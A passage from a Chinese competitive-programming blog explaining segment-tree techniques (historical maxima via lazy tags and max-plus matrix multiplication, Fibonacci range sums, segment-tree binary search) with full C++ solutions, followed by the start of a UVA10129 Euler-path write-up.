    if (r > mid) ret += querySumSq(ri(idx), l, r);
88
    return ret;
89
}
90

91
int main() {
92
    ios::sync_with_stdio(false);
93
    cin.tie(nullptr);
94
    cout.tie(nullptr);
95

96
    int n, m;
97
    cin >> n >> m;
98
    for (int i = 1; i <= n; i++) cin >> a[i];
99
    build(1, 1, n);
100
    while (m--) {
101
        int op, l, r;
102
        double x;
103
        cin >> op >> l >> r;
104
        int size = r - l + 1;
105
        if (op == 1) {
106
            cin >> x;
107
            modify(1, l, r, x);
108
        } else if (op == 2) cout << fixed << setprecision(4) << querySum(1, l, r) / size << endl;
109
        else cout << fixed << setprecision(4) << querySumSq(1, l, r) / size - pow(querySum(1, l, r) / size, 2) << endl;
110
    }
111

112
    return 0;
113
}

展开收起

维护历史最值/历史操作#

提到历史操作，我们可能会想到线段树家族的一个分支——可持久化线段树/主席树（或者是吉司机线段树），它通过复制修改时经过的相关节点来实现对某一历史操作的高效维护，更为详细的内容见此。一般来说，涉及到历史最值的线段树都需要在平常维护的普通标记上分别新增一个历史最值标记，进而可能涉及到众多懒标记的维护，因此懒标记之间的维护优先级（分类讨论）也是必须弄清的一大重点。

多标记维护有一个很明显的缺点是分类讨论繁杂、码量膨胀迅速。事实上，除了多标记硬维护，我们还可以稍稍更改矩阵乘法的定义，使用广义矩阵乘法来解决历史最值问题。如果对矩阵乘法不太了解的请左转矩阵乘法相关，对矩阵构造不太了解的请右转初等矩阵与矩阵递推。

多标记历史最值#

例题：P4314 CPU 监控

难度：省选/NOI-

维护变量：区间加懒标记、区间推平懒标记、区间推平存在性标记、区间历史最大加法懒标记、区间历史最大推平懒标记

简化题意。：查询区间最大值；：查询区间曾经出现过的所有值的最大值；：区间加；：区间推平。

首先，维护区间加和区间推平标记是必须的。注意到，在某一次进行了一次推平操作，后到的区间加本质上就是区间推平（即区间推平优先级高于区间加）。我们其实只需考虑首次区间推平前的所有区间加操作与它之间的关系。总而言之，对于一段区间的所有操作，我们都可以把它简化成一次区间加法后接一次区间推平。

根据优先级关系可得：如果之前已经对区间进行过推平，且当前要对这个区间进行区间加，那么我们就把区间加变成区间推平，只不过推平的数是原来的数加上区间加的操作数。否则就正常执行区间加。这里我们使用一个推平存在性标记来区分曾经执行过推平的区间和没执行过推平的区间。

接下来是重点，我们要更新历史最值的标记。对于推平操作，如果曾经推平过，就是原先的历史最大值与推平数取最大值、否则标记当前区间为存在过推平，且把历史最大值赋值成操作数；对于区间加，如果存在推平则转化为推平、否则历史标记更新为当前区间的历史标记与操作数总和的最大值。然后是正常加法标记、推平标记和区间最大值的更新，不要忘了用历史值更新当前历史最大值。

这里使用了复杂查询，其实可以只用简单查询，但是这样会让一个函数变成两个函数，比较占用篇幅。

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
#define ADD 0
5
#define COV 1
6
using namespace std;
7

8
struct SegmentTree {
9
#define le(x) (x << 1)
10
#define ri(x) (x << 1 | 1)
11
#define leftSubtree(x) (tree[le(x)])
12
#define rightSubtree(x) (tree[ri(x)])
13
    int l, r, size;
14
    bool flag_cov;
15
    int lazy_add, lazy_cov, h_lazy_add, h_lazy_cov;
16
    int max, hmax;
17

18
    void cover(int x, int hx) {
19
        if (flag_cov) h_lazy_cov = std::max(h_lazy_cov, hx); // 存在推平
20
        else flag_cov = true, h_lazy_cov = hx; // 不存在推平，标记并更新
21
        hmax = std::max(hmax, hx);
22
        max = x;
23
        lazy_cov = x;
24
        lazy_add = 0;
25
    }
26

27
    void add(int x, int hx) {
28
        if (flag_cov) cover(lazy_cov + x, lazy_cov + hx); // 存在推平，转化为推平
29
        else {
30
            h_lazy_add = std::max(h_lazy_add, lazy_add + hx); // 正常维护区间加法
31
            hmax = std::max(hmax, max + hx);
32
            lazy_add += x;
33
            max += x;
34
        }
35
    }
36
} tree[N << 2];
37

38
int a[N];
39

40
void pushup(int idx) {
41
    tree[idx].max = max(leftSubtree(idx).max, rightSubtree(idx).max);
42
    tree[idx].hmax = max(leftSubtree(idx).hmax, rightSubtree(idx).hmax);
43
}
44

45
void pushdown(int idx) {
46
    if (tree[idx].lazy_add || tree[idx].h_lazy_add) {
47
        leftSubtree(idx).add(tree[idx].lazy_add, tree[idx].h_lazy_add);
48
        rightSubtree(idx).add(tree[idx].lazy_add, tree[idx].h_lazy_add);
49
        tree[idx].lazy_add = tree[idx].h_lazy_add = 0;
50
    }
51
    if (tree[idx].flag_cov) {
52
        leftSubtree(idx).cover(tree[idx].lazy_cov, tree[idx].h_lazy_cov);
53
        rightSubtree(idx).cover(tree[idx].lazy_cov, tree[idx].h_lazy_cov);
54
        tree[idx].lazy_cov = tree[idx].h_lazy_cov = 0;
55
        tree[idx].flag_cov = false;
56
    }
57
}
58

59
void build(int idx, int l, int r) {
60
    tree[idx].l = l, tree[idx].r = r;
61
    tree[idx].size = r - l + 1;
62
    tree[idx].max = tree[idx].hmax = -INT_MAX;
63
    if (l == r) {
64
        tree[idx].max = tree[idx].hmax = a[l];
65
        return;
66
    }
67
    int mid = (l + r) >> 1;
68
    build(le(idx), l, mid);
69
    build(ri(idx), mid + 1, r);
70
    pushup(idx);
71
}
72

73
void modify(int idx, int l, int r, int x, int type) {
74
    if (l <= tree[idx].l && tree[idx].r <= r) {
75
        if (type == COV) tree[idx].cover(x, x);
76
        else if (type == ADD) tree[idx].add(x, x);
77
        return;
78
    }
79
    pushdown(idx);
80
    int mid = (tree[idx].l + tree[idx].r) >> 1;
81
    if (l <= mid) modify(le(idx), l, r, x, type);
82
    if (r > mid) modify(ri(idx), l, r, x, type);
83
    pushup(idx);
84
}
85

86
SegmentTree query(int idx, int l, int r) {
87
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx];
88
    pushdown(idx);
89
    int mid = (tree[idx].l + tree[idx].r) >> 1;
90
    if (l > mid) return query(ri(idx), l, r);
91
    if (r <= mid) return query(le(idx), l, r);
92
    SegmentTree L = query(le(idx), l, r);
93
    SegmentTree R = query(ri(idx), l, r);
94
    SegmentTree res{};
95
    res.l = L.l, res.r = R.r, res.size = L.size + R.size;
96
    res.max = max(L.max, R.max), res.hmax = max(L.hmax, R.hmax);
97
    return res;
98
}
99

100
int main() {
101
    ios::sync_with_stdio(false);
102
    cin.tie(nullptr);
103
    cout.tie(nullptr);
104

105
    int n, m;
106
    cin >> n;
107
    for (int i = 1; i <= n; i++) cin >> a[i];
108
    build(1, 1, n);
109
    cin >> m;
110
    while (m--) {
111
        char op;
112
        int l, r, x;
113
        cin >> op >> l >> r;
114
        if (op == 'Q') cout << query(1, l, r).max << endl;
115
        else if (op == 'A') cout << query(1, l, r).hmax << endl;
116
        else if (op == 'P') {
117
            cin >> x;
118
            modify(1, l, r, x, ADD);
119
        } else {
120
            cin >> x;
121
            modify(1, l, r, x, COV);
122
        }
123
    }
124
    return 0;
125
}

展开收起

广义矩阵乘法历史最值#

例题：P4314 CPU 监控

难度：省选/NOI-

维护变量：广义矩阵和、广义矩阵乘法标记

一题多解，多题归一

对于当前最值和历史最值组成的向量，我们自然希望它在操作后变成我们希望的样子，也就是变成。一般采取的措施是重定义矩阵元素间的运算。

重定义矩阵元素间的加法为取最大值、元素间的乘法为代数加法。因此对于一段区间，和式就同时维护了当前区间的最大值和历史最大值；乘积维护了单点操作后的最大值和历史最大值。

在新定义下，我们需要重定义零矩阵和单位矩阵。根据定义，零矩阵乘任何矩阵都是一个零矩阵，可以构造出广义零矩阵；单位矩阵乘任何矩阵都是后者，因此构造广义单位矩阵。

突然发现还有一个区间推平需要我们维护。换句话说，针对原矩阵，构造一个右乘矩阵使得二者乘积为。发现似乎构造不出普通的转移矩阵使条件成立，因此考虑升维。如果原始矩阵是，转移矩阵是的话就符合要求了。相应的，区间加操作的转移矩阵需变成。

于是我们把问题转化成了询问区间矩阵和与区间乘矩阵的问题了，只需维护区间矩阵和、乘数矩阵标记即可。需要注意的是，懒标记的初始值应为广义单位矩阵、区间和的初始值应该是广义零矩阵。

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
#define ADD 0
5
#define COV 1
6
using namespace std;
7

8
typedef long long ll;
9

10
const ll INF = 1e18;
11

12
struct Matrix {
13
    ll mat[3][3]{};
14

15
    void O() {
16
        // 广义零矩阵
17
        for (auto &i: mat) {
18
            for (ll &j: i) {
19
                j = -INF;
20
            }
21
        }
22
    }
23

24
    void I() {
25
        // 广义单位矩阵
26
        for (auto &i: mat) {
27
            for (ll &j: i) {
28
                j = -INF;
29
            }
30
        }
31
        mat[0][0] = mat[1][1] = mat[2][2] = 0;
32
    }
33

34
    bool isI() {
35
        // 判断是否是广义单位矩阵
36
        for (int i = 0; i < 3; i++) {
37
            for (int j = 0; j < 3; j++) {
38
                if (i ^ j && mat[i][j] != -INF) return false;
39
                if (i == j && mat[i][j]) return false;
40
            }
41
        }
42
        return true;
43
    }
44
};
45

46
Matrix fill(int x, int type) {
47
    // 根据不同操作填充对应转移矩阵
48
    if (type == ADD) return {{{x, x, -INF}, {-INF, 0, -INF}, {-INF, -INF, 0}}};
49
    return {{{-INF, -INF, -INF}, {-INF, 0, -INF}, {x, x, 0}}};
50
}
51

52
Matrix operator*(const Matrix &l, const Matrix &r) {
53
    // 广义矩阵乘法
54
    Matrix ret;
55
    ret.O();
56
    for (int i = 0; i < 3; i++) {
57
        for (int j = 0; j < 3; j++) {
58
            for (int k = 0; k < 3; k++) {
59
                ret.mat[i][j] = max(ret.mat[i][j], l.mat[i][k] + r.mat[k][j]);
60
            }
61
        }
62
    }
63
    return ret;
64
}
65

66
Matrix operator+(const Matrix &l, const Matrix &r) {
67
    // 广义矩阵加法
68
    Matrix ret;
69
    ret.O();
70
    for (int i = 0; i < 3; i++) {
71
        for (int j = 0; j < 3; j++) {
72
            ret.mat[i][j] = max(l.mat[i][j], r.mat[i][j]);
73
        }
74
    }
75
    return ret;
76
}
77

78
struct SegmentTree {
79
#define le(x) (x << 1)
80
#define ri(x) (x << 1 | 1)
81
#define leftSubtree(x) (tree[le(x)])
82
#define rightSubtree(x) (tree[ri(x)])
83
    int l, r, size;
84
    Matrix lazy, sum;
85
} tree[N << 2];
86
int a[N];
87

88
void pushup(int idx) {
89
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
90
}
91

92
void pushdown(int idx) {
93
    if (!tree[idx].lazy.isI()) {
94
        // 存在标记（不为广义单位矩阵）
95
        leftSubtree(idx).sum = leftSubtree(idx).sum * tree[idx].lazy;
96
        leftSubtree(idx).lazy = leftSubtree(idx).lazy * tree[idx].lazy;
97
        rightSubtree(idx).sum = rightSubtree(idx).sum * tree[idx].lazy;
98
        rightSubtree(idx).lazy = rightSubtree(idx).lazy * tree[idx].lazy;
99
        tree[idx].lazy.I(); // 清空成广义单位矩阵
100
    }
101
}
102

103
void build(int idx, int l, int r) {
104
    tree[idx].l = l, tree[idx].r = r;
105
    tree[idx].size = r - l + 1;
106
    tree[idx].lazy.I(); // 特别注意标记和区间和的清空
107
    tree[idx].sum.O();
108
    if (l == r) {
109
        tree[idx].sum = {{{a[l], a[l], 0}, {-INF, -INF, -INF}, {-INF, -INF, -INF}}};
110
        return;
111
    }
112
    int mid = (l + r) >> 1;
113
    build(le(idx), l, mid);
114
    build(ri(idx), mid + 1, r);
115
    pushup(idx);
116
}
117

118
void modify(int idx, int l, int r, int x, int type) {
119
    if (l <= tree[idx].l && tree[idx].r <= r) {
120
        tree[idx].sum = tree[idx].sum * fill(x, type);
121
        tree[idx].lazy = tree[idx].lazy * fill(x, type);
122
        return;
123
    }
124
    pushdown(idx);
125
    int mid = (tree[idx].l + tree[idx].r) >> 1;
126
    if (l <= mid) modify(le(idx), l, r, x, type);
127
    if (r > mid) modify(ri(idx), l, r, x, type);
128
    pushup(idx);
129
}
130

131
SegmentTree query(int idx, int l, int r) {
132
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx];
133
    pushdown(idx);
134
    int mid = (tree[idx].l + tree[idx].r) >> 1;
135
    if (l > mid) return query(ri(idx), l, r);
136
    if (r <= mid) return query(le(idx), l, r);
137
    SegmentTree L = query(le(idx), l, r);
138
    SegmentTree R = query(ri(idx), l, r);
139
    SegmentTree res{};
140
    res.l = L.l, res.r = R.r, res.size = L.size + R.size;
141
    res.sum = L.sum + R.sum;
142
    return res;
143
}
144

145
int main() {
146
    ios::sync_with_stdio(false);
147
    cin.tie(nullptr);
148
    cout.tie(nullptr);
149

150
    int n, m;
151
    cin >> n;
152
    for (int i = 1; i <= n; i++) cin >> a[i];
153
    build(1, 1, n);
154
    cin >> m;
155
    while (m--) {
156
        char op;
157
        int l, r, x;
158
        cin >> op >> l >> r;
159
        if (op == 'Q') cout << query(1, l, r).sum.mat[0][0] << endl;
160
        else if (op == 'A') cout << query(1, l, r).sum.mat[0][1] << endl;
161
        else if (op == 'P') {
162
            cin >> x;
163
            modify(1, l, r, x, ADD);
164
        } else {
165
            cin >> x;
166
            modify(1, l, r, x, COV);
167
        }
168
    }
169
    return 0;
170
}

展开收起

维护其他结合律算符#

线段树的基本操作就基于子节点向当前节点的合并更新与当前节点向子节点的递归，对于具有结合律的算符，线段树能做到很好的维护并查询。本节将重点探讨线段树维护结合律算符的部分实例。

区间加+区间斐波那契数求和#

例题：CF718C Sasha and Array

难度：省选/NOI-

维护变量：矩阵和、矩阵加法标记

理论基础：矩阵加速递推斐波那契数列

我在 11 月 23 日斐波那契日写下这段线段树维护斐波那契数列的文字……

我们知道矩阵快速幂可以在的时间复杂度内快速求出斐波那契数列第项，那么怎么把它运用在这道题中呢？

这道题要求将区间里的每个数作为下标并获得对应的斐波那契数并对其求和，不妨把区间加运算看作将当前的节点维护的斐波那契数继续向后递推项，思路就出来了——在线段树的每个节点上维护一个矩阵，每次更新相当于对它右乘一个转移矩阵的次幂，求和时在矩阵间进行加法运算。可以通过维护一个懒标记实现，注意下传标记时对子树标记进行矩阵乘法运算，因而懒标记的初始值应为单位矩阵、区间和的初始值应为零矩阵。

尽管此题时限有足足五秒，但仍然卡常。建议减少取模次数、展开计算矩阵乘法。我的代码在 C++17 标准下好像最后一个点会超时，换成 C++20 或 C++23（仅 CF）就快得多了。

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
#define MOD 1000000007
5
using namespace std;
6

7
typedef long long ll;
8

9
struct Matrix {
10
    ll mat[3][3]{};
11

12
    Matrix() {
13
        mat[1][1] = mat[1][2] = mat[2][1] = mat[2][2] = 0; // 慎用 memset
14
    }
15

16
    Matrix(int a, int b, int c, int d) {
17
        // 快速赋值
18
        mat[1][1] = a;
19
        mat[1][2] = b;
20
        mat[2][1] = c;
21
        mat[2][2] = d;
22
    }
23

24
    Matrix operator+(Matrix b) const {
25
        // 矩阵加法 对位相加
26
        Matrix ret;
27
        ret.mat[1][1] = (mat[1][1] + b.mat[1][1]) % MOD;
28
        ret.mat[1][2] = (mat[1][2] + b.mat[1][2]) % MOD;
29
        ret.mat[2][1] = (mat[2][1] + b.mat[2][1]) % MOD;
30
        ret.mat[2][2] = (mat[2][2] + b.mat[2][2]) % MOD;
31
        return ret;
32
    }
33

34
    Matrix operator*(Matrix b) const {
35
        // 矩阵乘法的展开形式
36
        Matrix ret;
37
        ret.mat[1][1] = (mat[1][1] * b.mat[1][1] + mat[1][2] * b.mat[2][1]) % MOD;
38
        ret.mat[1][2] = (mat[1][1] * b.mat[1][2] + mat[1][2] * b.mat[2][2]) % MOD;
39
        ret.mat[2][1] = (mat[2][1] * b.mat[1][1] + mat[2][2] * b.mat[1][2]) % MOD;
40
        ret.mat[2][2] = (mat[2][1] * b.mat[1][2] + mat[2][2] * b.mat[2][2]) % MOD;
41
        return ret;
42
    }
43

44
    Matrix operator^(ll b) const {
45
        // 重载异或算符实现矩阵快速幂
46
        Matrix ret, a = *this;
47
        ret.I();
48
        while (b) {
49
            if (b & 1) ret = ret * a;
50
            a = a * a;
51
            b >>= 1;
52
        }
53
        return ret;
54
    }
55

56
    void I() {
57
        // 生成单位矩阵，置零是必须的
58
        mat[1][2] = mat[2][1] = 0;
59
        mat[1][1] = mat[2][2] = 1;
60
    }
61

62
    bool isI() {
63
        return mat[1][1] == 1 && mat[1][2] == 0 && mat[2][1] == 0 && mat[2][2] == 1; // 判断是否是单位矩阵（是否存在懒标记）
64
    }
65
};
66

67
struct SegmentTree {
68
#define le(x) (x << 1)
69
#define ri(x) (x << 1 | 1)
70
#define leftSubtree(x) (tree[le(x)])
71
#define rightSubtree(x) (tree[ri(x)])
72
    int l, r, size;
73
    Matrix lazy, sum;
74
} tree[N << 2];
75

76
const Matrix A(1, 1, 0, 0), M(0, 1, 1, 1);
77
ll a[N];
78

79
void pushup(int idx) {
80
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
81
}
82

83
void pushdown(int idx) {
84
    if (!tree[idx].lazy.isI()) {
85
        leftSubtree(idx).sum = leftSubtree(idx).sum * tree[idx].lazy; // 注意是乘法
86
        leftSubtree(idx).lazy = leftSubtree(idx).lazy * tree[idx].lazy;
87

88
        rightSubtree(idx).sum = rightSubtree(idx).sum * tree[idx].lazy;
89
        rightSubtree(idx).lazy = rightSubtree(idx).lazy * tree[idx].lazy;
90

91
        tree[idx].lazy.I(); // 重置为单位矩阵
92
    }
93
}
94

95
void build(int idx, int l, int r) {
96
    tree[idx].l = l, tree[idx].r = r;
97
    tree[idx].size = r - l + 1;
98
    tree[idx].lazy.I();
99
    if (l == r) {
100
        tree[idx].sum = A * (M ^ (a[l] - 1)); // 初始值就是斐波那契数列第 a[i] 项
101
        return;
102
    }
103
    int mid = (l + r) >> 1;
104
    build(le(idx), l, mid);
105
    build(ri(idx), mid + 1, r);
106
    pushup(idx);
107
}
108

109
void modify(int idx, int l, int r, ll x) {
110
    if (l <= tree[idx].l && tree[idx].r <= r) {
111
        tree[idx].sum = tree[idx].sum * (M ^ x); // 向后递推 x 项
112
        tree[idx].lazy = tree[idx].lazy * (M ^ x);
113
        return;
114
    }
115
    pushdown(idx);
116
    int mid = (tree[idx].l + tree[idx].r) >> 1;
117
    if (l <= mid) modify(le(idx), l, r, x);
118
    if (r > mid) modify(ri(idx), l, r, x);
119
    pushup(idx);
120
}
121

122
Matrix query(int idx, int l, int r) {
123
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum;
124
    pushdown(idx);
125
    int mid = (tree[idx].l + tree[idx].r) >> 1;
126
    Matrix ret;
127
    if (l <= mid) ret = ret + query(le(idx), l, r);
128
    if (r > mid) ret = ret + query(ri(idx), l, r);
129
    return ret;
130
}
131

132
int main() {
133
    ios::sync_with_stdio(false);
134
    cin.tie(nullptr);
135
    cout.tie(nullptr);
136

137
    int n, m;
138
    cin >> n >> m;
139

140
    for (int i = 1; i <= n; i++) cin >> a[i];
141
    build(1, 1, n);
142
    while (m--) {
143
        int op, l, r;
144
        cin >> op >> l >> r;
145
        if (op == 1) {
146
            ll x;
147
            cin >> x;
148
            modify(1, l, r, x);
149
        } else cout << query(1, l, r).mat[1][1] << endl;
150
    }
151

152
    return 0;
153
}

展开收起

线段树二分#

有时我们会遇到二分和线段树结合起来的题。如果使用二分区间加区间查询的方案，其时间复杂度将是，在的时候会超时。此时可以借助线段树的有序性，在线段树上二分。

例题：P11217 youyou 的垃圾桶

题目难度：普及+/提高

维护变量：区间和、区间加标记

我们知道线段树可以维护一段连续的区间，这意味着我们可以在上面二分一个具有单调性的值。在线段树的最底层，从左到右分别就对应着原序列从左到右的元素。当我们需要对某个区间进行二分时，转换到树上就是看左右子树——若左子树的总和仍小于查询值，那么就在右子树查找原值减去左子树总和的值即可；否则就转到左子树找查询值。可以发现，这个逻辑和平衡树根据排名查询对应值是一样的。

1
#include <bits/stdc++.h>
2
#define N 200010
3
using namespace std;
4

5
typedef long long ll;
6

7
int a[N];
8

9
struct SegmentTree {
10
#define le(idx) (idx << 1)
11
#define ri(idx) (idx << 1 | 1)
12
#define leftSubtree(idx) (tree[le(idx)])
13
#define rightSubtree(idx) (tree[ri(idx)])
14
    int l, r;
15
    ll sum;
16
    ll lazy;
17
    int size;
18
} tree[N << 2];
19

20
void pushup(int idx) {
21
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
22
}
23

24
void build(int idx, int l, int r) {
25
    tree[idx].lazy = tree[idx].sum = 0;
26
    tree[idx].size = r - l + 1;
27
    tree[idx].l = l, tree[idx].r = r;
28
    if (l == r) {
29
        tree[idx].sum = a[l];
30
        return;
31
    }
32
    int mid = l + r >> 1;
33
    build(le(idx), l, mid);
34
    build(ri(idx), mid + 1, r);
35
    pushup(idx);
36
}
37

38
void pushdown(int idx) {
39
    if (tree[idx].lazy) {
40
        leftSubtree(idx).lazy += tree[idx].lazy;
41
        leftSubtree(idx).sum += leftSubtree(idx).size * tree[idx].lazy;
42
        rightSubtree(idx).lazy += tree[idx].lazy;
43
        rightSubtree(idx).sum += rightSubtree(idx).size * tree[idx].lazy;
44
        tree[idx].lazy = 0;
45
    }
46
}
47

48
void modify(int idx, int l, int r, ll x) {
49
    if (tree[idx].l > r || tree[idx].r < l) return;
50
    if (l <= tree[idx].l && tree[idx].r <= r) {
51
        tree[idx].sum += x * tree[idx].size;
52
        tree[idx].lazy += x;
53
        return;
54
    }
55
    pushdown(idx);
56
    int mid = tree[idx].l + tree[idx].r >> 1;
57
    if (l <= mid) modify(le(idx), l, r, x);
58
    if (r > mid) modify(ri(idx), l, r, x);
59
    pushup(idx);
60
}
61

62
ll query(int idx, int l, int r) {
63
    if (tree[idx].l > r || tree[idx].r < l) return 0;
64
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum;
65
    pushdown(idx);
66
    int mid = tree[idx].l + tree[idx].r >> 1;
67
    ll ret = 0;
68
    if (l <= mid) ret += query(le(idx), l, r);
69
    if (r > mid) ret += query(ri(idx), l, r);
70
    return ret;
71
}
72

73
int get(int idx, ll x, ll amp) {
74
    // 线段树二分
75
    if (tree[idx].l == tree[idx].r) return tree[idx].l;
76
    pushdown(idx);
77
    if (leftSubtree(idx).sum << amp >= x) return get(le(idx), x, amp);
78
    return get(ri(idx), x - (leftSubtree(idx).sum << amp), amp);
79
}
80

81
int main() {
82
    ios::sync_with_stdio(false);
83
    cin.tie(nullptr);
84
    cout.tie(nullptr);
85

86
    int n, q;
87
    ll w;
88
    cin >> n >> q >> w;
89
    for (int i = 1; i <= n; i++) cin >> a[i];
90
    build(1, 1, n);
91
    while (q--) {
92
        int l, r, d;
93
        cin >> l >> r >> d;
94
        modify(1, l, r, d);
95
        ll sum = tree[1].sum;
96
        ll cur = 0;
97
        ll k = 2, i = 1;
98
        for (;; i++) {
99
            cur += sum * (k >> 1);
100
            if (cur >= w) break;
101
            k <<= 1;
102
        }
103
        cout << n * (i - 1) + get(1, w - sum * ((k >> 1) - 1), i - 1) - 1 << '\n';
104
    }
105
    return 0;
106
}

展开收起

例题：P11289 【MX-S6-T1】「KDOI-11」打印

题目难度：普及+/提高

维护变量：区间加标记、等待时间、区间等待时间最小值

才复习的线段树结果赛时还是没想到线段树做法

对于每个打印请求，我们预先把它们按照起始时间升序排序，然后再一个一个考虑。维护当前时间，读入到一个请求时，相当于要把当前时间后移到该请求的起始时间。此时我们让所有打印机的等待时间减去二者差值，并找出序号最小的那个打印机、更新选中打印机的等待时间、接着更新答案即可。注意等待时间最小为。

1
#include <bits/stdc++.h>
2
#define N 200010
3
using namespace std;
4

5
typedef long long ll;
6

7
struct Node {
8
    int id;
9
    ll s, t;
10
} nodes[N];
11

12
struct SegmentTree {
13
#define le(x) (x << 1)
14
#define ri(x) (x << 1 | 1)
15
#define leftSubtree(x) (tree[le(x)])
16
#define rightSubtree(x) (tree[ri(x)])
17
    int l, r, size;
18
    int real_id; // 记录打印机的编号
19
    ll time, lazy;
20
} tree[N << 2];
21

22
vector<int> ans[N];
23

24
bool cmp(const Node &l, const Node &r) {
25
    return l.t < r.t;
26
}
27

28
void pushup(int idx) {
29
    tree[idx].time = min(leftSubtree(idx).time, rightSubtree(idx).time);
30
}
31

32
void pushdown(int idx) {
33
    if (tree[idx].lazy) {
34
        leftSubtree(idx).time = max(0ll, leftSubtree(idx).time + tree[idx].lazy); // 等待时间不能为负
35
        leftSubtree(idx).lazy += tree[idx].lazy;
36
        rightSubtree(idx).time = max(0ll, rightSubtree(idx).time + tree[idx].lazy);
37
        rightSubtree(idx).lazy += tree[idx].lazy;
38
        tree[idx].lazy = 0;
39
    }
40
}
41

42
void build(int idx, int l, int r) {
43
    tree[idx].l = l, tree[idx].r = r;
44
    tree[idx].size = r - l + 1;
45
    if (l == r) {
46
        tree[idx].real_id = l; // 记录原始编号
47
        return;
48
    }
49
    int mid = (l + r) >> 1;
50
    build(le(idx), l, mid);
51
    build(ri(idx), mid + 1, r);
52
    pushup(idx);
53
}
54

55
void modify(int idx, int l, int r, ll x) {
56
    if (l <= tree[idx].l && tree[idx].r <= r) {
57
        tree[idx].lazy += x;
58
        tree[idx].time = max(0ll, tree[idx].time + x);
59
        return;
60
    }
61
    pushdown(idx);
62
    int mid = (tree[idx].l + tree[idx].r) >> 1;
63
    if (l <= mid) modify(le(idx), l, r, x);
64
    if (r > mid) modify(ri(idx), l, r, x);
65
    pushup(idx);
66
}
67

68
void modify(int idx, int uid, ll x) {
69
    if (tree[idx].size == 1 && tree[idx].l == uid) {
70
        tree[idx].time = max(0ll, tree[idx].time + x);
71
        return;
72
    }
73
    pushdown(idx);
74
    int mid = (tree[idx].l + tree[idx].r) >> 1;
75
    if (uid <= mid) modify(le(idx), uid, x);
76
    if (uid > mid) modify(ri(idx), uid, x);
77
    pushup(idx);
78
}
79

80
int find(int idx, ll time) {
81
    if (tree[idx].size == 1) return tree[idx].real_id; // 找到了，返回对应打印机的编号
82
    pushdown(idx);
83
    if (leftSubtree(idx).time <= time) return find(le(idx), time); // 根据建树时的编号单调性进行二分，若左侧等待时间小于等于目标，则尽量向左找
84
    return find(ri(idx), time); // 左侧编号更小的打印机都在工作，只能向右找空闲打印机
85
}
86

87
int main() {
88
    ios::sync_with_stdio(false);
89
    cin.tie(nullptr);
90
    cout.tie(nullptr);
91

92
    int n, m;
93
    cin >> n >> m;
94
    build(1, 1, m); // 注意是 m 台打印机
95
    for (int i = 1; i <= n; i++) {
96
        cin >> nodes[i].s >> nodes[i].t;
97
        nodes[i].id = i;
98
    }
99
    sort(nodes + 1, nodes + 1 + n, cmp);
100
    ll time = 1;
101
    for (int i = 1; i <= n; i++) {
102
        modify(1, 1, m, time - nodes[i].t); // 减去时间差
103
        int id = find(1, tree[1].time); // 找出编号最小的空闲打印机
104
        ans[id].push_back(nodes[i].id);
105
        modify(1, id, nodes[i].s); // 为当前打印机分配了任务，更新单点等待时间
106
        time = nodes[i].t; // 当前时间后移
107
    }
108
    for (int i = 1; i <= m; i++) {
109
        cout << ans[i].size() << ' ';
110
        sort(ans[i].begin(), ans[i].end());
111
        for (int j: ans[i]) cout << j << ' ';
112
        cout << endl;
113
    }
114
    return 0;
115
}

展开收起

UVA10129 - Play On Words 题解

Tue, 06 Aug 2024 11:15:50 GMT

Done

您已获得最佳的阅读体验！

题目地址：UVA10129

初见感觉和 SP2885 WORDRING 很像，只不过本题不需要让拼出的“龙”首尾字符相同，而且也不用计算最大平均权——只需要判断是否存在合法的“龙”即可。但是这两道题的建图思路是相同的——对于一个字符串，我们真正关心的是它的第一个和最后一个字符。于是把它的开头和结尾的字母挑出来，在它们间连一条有向边，就可以代表这个字符串。

此时我们需要做的就是判断是否存在一个路径，使得从某个端点出发，每条边均只经过一次，最终到达终点。惊奇地发现，这就是在有向图上判断是否存在欧拉路径。判断依据如下：

有向图上所有点的入度都等于出度：该图存在欧拉路径，起点和终点任意。
有向图上有且仅有两个点的入度相差，其余点的入度均等于出度：该图存在欧拉路径，入度比出度大的点是终点；出度比入度大的是起点。

但是这道题又有些许不同……根据题目要求，当所有的字符串都串联起来时，才能叫有解。如果某个连通块内存在欧拉路径，但是存在孤立点（字符串没有被选上），也不能算作有解。因此我们还需要额外维护一个数据，起到存储每个字符串所属路径的作用。并查集能够很好地做到这一点！注意到并不是每个字母都能被用到（出现在字符串首/尾），需要再开一个数组存储该字母是否出现。

对并查集感到生疏的可以左转 P3367 [模板] 并查集。注意多测清空！

1
#include <bits/stdc++.h>
2
#define N 100010
3
using namespace std;
4

5
int indeg[30], outdeg[30];
6
bool st[30];
7
int p[30];
8

9
int find(int x) {
10
    // 并查集找祖先
11
    if (p[x] != x) p[x] = find(p[x]);
12
    return p[x];
13
}
14

15
int main() {
16
    ios::sync_with_stdio(false);
17
    cin.tie(nullptr);
18
    cout.tie(nullptr);
19

20
    int t;
21
    cin >> t;
22
    while (t--) {
23
        // 多测清空！多测清空！多测清空！
24
        memset(indeg, 0, sizeof indeg);
25
        memset(outdeg, 0, sizeof outdeg);
26
        memset(st, false, sizeof st);
27
        for (int i = 0; i < 26; i++) p[i] = i;
28
        bool OK = true; // 是否能构成合法路径
29

30
        int n;
31
        string s;
32
        cin >> n;
33
        for (int i = 1; i <= n; i++) {
34
            cin >> s;
35
            const int head = s[0] - 'a';
36
            const int tail = s[s.length() - 1] - 'a';
37
            indeg[tail]++;
38
            outdeg[head]++;
39
            st[head] = true;
40
            st[tail] = true;
41
            p[find(head)] = find(tail);
42
        }
43
        bool flag = true; // 是否每个点的入度都等于出度
44
        int cntS = 0, cntT = 0; // 起点数、终点数
45
        for (int i = 0; i < 26; i++) {
46
            if (indeg[i] != outdeg[i]) {
47
                flag = false; // 不满足第一条判别依据
48
                if (outdeg[i] - indeg[i] == 1) cntS++;
49
                else if (indeg[i] - outdeg[i] == 1) cntT++;
50
                else {
51
                    OK = false; // 两条均不满足
52
                    break;
53
                };
54
            }
55
        }
56
